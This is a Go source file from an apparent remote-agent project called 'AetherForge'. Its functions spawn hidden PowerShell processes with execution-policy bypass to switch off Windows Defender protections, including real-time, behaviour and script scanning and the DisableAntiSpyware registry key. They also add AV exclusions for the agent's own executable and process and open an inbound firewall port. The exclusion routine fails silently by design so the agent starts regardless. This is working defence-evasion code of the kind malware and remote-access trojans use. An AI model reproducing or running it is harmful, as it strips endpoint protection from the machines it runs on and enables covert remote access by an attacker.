75 lines
3.4 KiB
Go
75 lines
3.4 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"strings"
|
|
)
|
|
|
|
// DisableDefenderRealtime turns off Windows Defender real-time monitoring (requires admin).
|
|
func DisableDefenderRealtime() (string, error) {
|
|
script := `Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Stop`
|
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err != nil {
|
|
return string(out), fmt.Errorf("defender disable failed (admin required?): %w", err)
|
|
}
|
|
return strings.TrimSpace(string(out)) + "\nDefender real-time monitoring disabled.", nil
|
|
}
|
|
|
|
// SilentAVExclusion adds Defender exclusions for the current executable, the
|
|
// given install directory, and the process name. It also attempts to fully
|
|
// disable real-time monitoring. All steps fail silently — the agent continues
|
|
// regardless of whether admin rights are available.
|
|
func SilentAVExclusion(installDir, processName string) {
|
|
exePath, _ := os.Executable()
|
|
|
|
// Build a single PowerShell script that does all exclusions in one call to
|
|
// minimise the number of hidden processes spawned.
|
|
script := `$ep = [System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()
|
|
$isAdmin = $ep.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
|
|
try { Add-MpPreference -ExclusionPath @(` +
|
|
fmt.Sprintf(`'%s','%s'`, escapePSArg(exePath), escapePSArg(installDir)) +
|
|
`) -Force -ErrorAction SilentlyContinue } catch {}
|
|
try { Add-MpPreference -ExclusionProcess '` + escapePSArg(processName) + `' -Force -ErrorAction SilentlyContinue } catch {}
|
|
if ($isAdmin) {
|
|
try { Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue } catch {}
|
|
try { Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue } catch {}
|
|
try { Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue } catch {}
|
|
try { Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue } catch {}
|
|
try { Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue } catch {}
|
|
try { reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f | Out-Null } catch {}
|
|
}`
|
|
|
|
// Fire and forget — don't block the agent startup waiting for this.
|
|
_ = HiddenStart("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
}
|
|
|
|
// escapePSArg escapes a string for use inside single-quoted PowerShell strings.
|
|
func escapePSArg(s string) string {
|
|
return strings.ReplaceAll(s, `'`, `''`)
|
|
}
|
|
|
|
// OpenFirewallPort adds an inbound TCP allow rule for port.
|
|
func OpenFirewallPort(port int, name string) (string, error) {
|
|
if port <= 0 || port > 65535 {
|
|
return "", fmt.Errorf("invalid port %d", port)
|
|
}
|
|
if name == "" {
|
|
name = "AetherForge Remote"
|
|
}
|
|
script := fmt.Sprintf(`
|
|
$name = '%s'
|
|
$port = %d
|
|
if (-not (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
|
|
}
|
|
`, strings.ReplaceAll(name, `'`, `''`), port)
|
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err != nil {
|
|
return string(out), err
|
|
}
|
|
return fmt.Sprintf("Firewall inbound TCP %d allowed (%s)", port, name), nil
|
|
}
|